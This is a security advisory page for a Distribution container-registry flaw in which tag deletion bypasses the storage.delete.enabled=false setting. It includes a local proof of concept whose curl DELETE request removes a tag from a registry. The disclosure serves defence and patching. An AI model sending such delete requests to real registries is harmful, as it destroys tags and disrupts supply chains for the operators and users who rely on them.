Distribution's tag deletion bypasses `storage.delete.enabled` configuration
Published 4 May 2026 · Updated 10 Sept 2026
Is your project on an affected github.com/distribution/distribution/v3?
Look after several Go apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected packages
- Affected
- <3.1.1
- Fixed in
- 3.1.1
go get github.com/distribution/distribution/v3@v3.1.1- Affected
- <=2.8.3
- Fixed in
- No fix released
Details
Summary
Tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion.
Details
When storage.delete.enabled is configured to false, digest-based manifest deletion is correctly rejected by the guard in registry/storage/linkedblobstore.go:212-215.
However, tag deletion takes a separate code path that never checks this setting:
In `registry/handlers/manifests.go:439-453`, DeleteManifest detects a tag reference, calls tagService.Untag(), returns, never consulting registry.deleteEnabled.
In turn, `tagStore.Untag()` calls the storage driver directly to delete the tag path without checking whether deletes are enabled.
PoC
Using a paired down Distribution configuration that explicitly disables deletes, such as this one, stored as config.yaml:
version: 0.1
storage:
delete:
enabled: false
filesystem:
rootdirectory: /var/lib/registry
http:
addr: :5000Start a local Distribution, mounting in the above configuration from the current directory:
docker run -p 5000:5000 -v "$(pwd)/config.yaml":/config.yaml --restart=always --name registry registry:3.1.0 /config.yaml
In a separate terminal session/tab, push alpine:3.23 into the running instance:
docker pull alpine:3.23 docker tag alpine:3.23 localhost:5000/alpine:3.23 docker push localhost:5000/alpine:3.23
Confirm that the tag shows up as expected:
curl 'http://localhost:5000/v2/alpine/tags/list'
{"name":"alpine","tags":["3.23"]}Issue a delete for the 3.23 tag:
curl -X DELETE 'http://localhost:5000/v2/alpine/manifests/3.23'
Observe that the tag is now gone, despite deletes being disabled:
curl 'http://localhost:5000/v2/alpine/tags/list'
{"name":"alpine","tags":null}Impact
This is an authorization bypass vulnerability. Any client with network access to the registry can delete tags despite the operator having disabled deletion. This can cause denial of service for consumers pulling by tag and enables supply-chain disruption by removing trusted tags from a registry that the operator and/or users believed to be immutable.
Is GHSA-6pjf-3r9x-m592 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/distribution/distribution/v3, and gives you the command that fixes it.
More advisories for github.com/distribution/distribution/v3
- LowCVE-2026-85747Distribution: Client does not verify returned content against requested digest in github.com/distribution/distribution · 5 Nov 2026
- MediumCVE-2026-85747Distribution: Client `manifests.Get()` does not verify returned content against requested digest · 15 Oct 2026
- LowCVE-2026-35172Stale blob descriptor cache invalidation in github.com/distribution/distribution · 18 Aug 2026
- LowCVE-2026-33540Distribution affected by pull-through cache credential exfiltration via www-authenticate bearer realm in github.com/distribution/distribution · 25 Jun 2026
- HighCVE-2026-35172Distribution: stale blob access resurrection via repo-scoped redis descriptor cache invalidation · 6 Apr 2026
- HighCVE-2026-33540Distribution affected by pull-through cache credential exfiltration via www-authenticate bearer realm · 6 Apr 2026
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.